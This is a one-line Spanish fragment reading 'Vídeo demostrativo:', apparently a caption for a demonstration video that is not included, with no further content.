Vídeo demostrativo: